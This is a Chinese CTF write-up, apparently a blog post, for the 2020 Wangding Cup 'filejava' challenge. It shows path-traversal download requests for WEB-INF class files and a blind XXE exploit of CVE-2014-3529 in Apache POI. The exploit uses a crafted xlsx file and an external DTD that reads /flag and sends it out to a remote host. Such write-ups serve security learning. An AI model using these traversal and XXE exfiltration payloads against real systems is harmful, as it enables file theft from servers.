[网鼎杯 2020 青龙组]filejava

任意文件下载

在这里插入图片描述

入眼是一个上传框,我们先随意上传一个正常图片试试水

在这里插入图片描述

拿到文件下载地址,尝试一下能否任意文件下载

抓下载的包尝试目录穿越

在这里插入图片描述

成功下载web.xml的内容

在这里插入图片描述

所有class文件都在**/WEB-INF/classes**继续下载所有的class文件,注意不要忘了class后缀

在这里插入图片描述

/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fDownloadServlet.class
/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fListFileServlet.class
/DownloadServlet?filename=..%2f..%2f..%2f..%2fWEB-INF%2fclasses%2fcn%2fabc%2fservlet%2fUploadServlet.class

将三个文件拖入idea反编译,发现关键代码

在这里插入图片描述

暴露了使用的依赖poi-ooxml的版本信息3.10,去神奇的搜索引擎搜索一下它的漏洞

在这里插入图片描述
刚好可以利用,那么接下来就是漏洞复现的过程了


CVE-2014-3529

此漏洞需要一台vps进行配合,因为是盲打xxe,数据需要带外才能看见

我这里是借用的buu平台的linux labs,开启一个靶机后会给你一个url可以被外网访问,外网81端口映射的是靶机的80端口,是个apache的web服务。因为只有一个端口可以用,我们把dtd文件放在这个web服务上,flag也发到这个web服务上即可
在这里插入图片描述

新建个xlsx文件,后缀改zip解压

在这里插入图片描述

在**[Content_Types].xml**中插入恶意xml代码,引入我们vps上的外部实体

<!DOCTYPE convert [
<!ENTITY % test SYSTEM 'http://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/server.dtd'> %test; %exe; %entity;]>

在这里插入图片描述

改完了后,把它们压缩回zip,改后缀xlsx

在这里插入图片描述

题目代码限制了文件名excel-***.xlsx

在这里插入图片描述

我们vps的web服务器上准备好dtd文件如下

<!ENTITY % file SYSTEM "file:///flag"> 
<!ENTITY % exe "<!ENTITY &#37; entity SYSTEM 'http://2c45ed92-c49e-4f58-881c-78a9cac2d194.node4.buuoj.cn:81/%file;'>">

上传我们的excel-exp.xlsx

vps查看apache访问日志

在这里插入图片描述
在这里插入图片描述

url解码得到flagflag{1773660f-ee5a-4ad0-84ac-e8029f518c22}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

b1ackc4t

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值